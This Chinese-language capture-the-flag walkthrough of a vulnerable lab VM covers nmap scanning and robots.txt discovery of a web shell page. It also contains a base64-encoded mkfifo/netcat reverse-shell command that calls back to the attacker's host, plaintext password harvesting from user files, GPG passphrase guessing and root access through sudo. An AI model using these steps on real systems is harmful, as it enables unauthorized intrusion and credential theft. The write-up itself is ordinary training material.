端口
nmap主机发现
nmap -sn 192.168.72.0/24 Nmap scan report for 192.168.72.169 Host is up (0.00020s latency). 169是新出现的机器，他就是靶机
nmap端口扫描
nmap -Pn -sV 192.168.72.169 -p- --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 PORT STATE SERVICE 80/tcp open http 25468/tcp open ssh 发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.89.116详细端口扫描： -sT：完整tcp连接 -sC：默认脚本扫描 -sV：服务版本探测 -O：系统信息探测 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Site doesn't have a title (text/html). | http-robots.txt: 4 disallowed entries | /login.php /dev_shell.php /lat_memo.html |_/passwords.html |_http-server-header: Apache/2.4.25 (Debian) 25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA) | 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA) |_ 256 391656fb4e0f508540d3532241433815 (ED25519) 分析： 25468 ssh端口开放 80 web端口开放
访问80，是个学校官网，查看整个页面没有敏感信息，查看robots.txt User-agent: * Disallow: /login.php Disallow: /dev_shell.php Disallow: /lat_memo.html Disallow: /passwords.html 依次访问，发现shell位于/dev_shell.php页面
立足
echo "mkfifo /tmp/f;nc 192.168.72.162 1234 0</tmp/f|/bin/sh > /tmp/f 2>&1;rm /tmp/f"|base64|tr -d '\n' bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK 攻击机器：nc -nvlp 1234 command输入如下指令即可getshell： echo "bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK" | base64 -d | bash
提权
错误配置提不了权，直接找敏感文件
bob目录
.old_passwordfile.html包含jc和seb的密码 jc:Qwerty seb:T1tanium_Pa$$word_Hack3rs_Fear_M3 login.txt.gpg文件有被加密的字符串 note.sh 里有 echo "-= Notes =-" echo "Harry Potter is my faviorite" echo "Are you the real me?" echo "Right, I'm ordering pizza this is going nowhere" echo "People just don't get me" echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>" echo "Cucumber" echo "Rest now your eyes are sleepy" echo "Are you gonna stop reading this yet?" echo "Time to fix the server" echo "Everyone is annoying" echo "Sticky notes gotta buy em"
elliot目录
theadminisdumb.txt里存着此用户密码，为theadminisdumb
登录seb和jc和elliot
这三个用户权限基本上和www-data差不多，没用
bob用户的gpg文件解密
GNU Privacy Guard 是一款使用 RFC4880 定义的 OpenPGP 加密标准的加密程序。它允许您使用私钥加密和数字签名文件和电子邮件通信，并使用随附的公钥解密这些文件和通信。 通常，使用 GnuPG 加密的文件会以.gpg扩展名保存。这表示它们已加密，可以使用 GnuPG 解密。但是，要解密 GPG 文件，您必须拥有必要的 GnuPG 密钥（通常是其他用户的公钥）。 当尝试解密login.txt.gpg时 gpg -d login.txt.gpg 出现下图
这里根据bob目录下的note.sh文件，推测passphrase是个藏头诗：HARPOCRATES 直接解密成功：bob:b0bcat_
登录后发现bob用户有所有sudo权限 直接sudo su切换root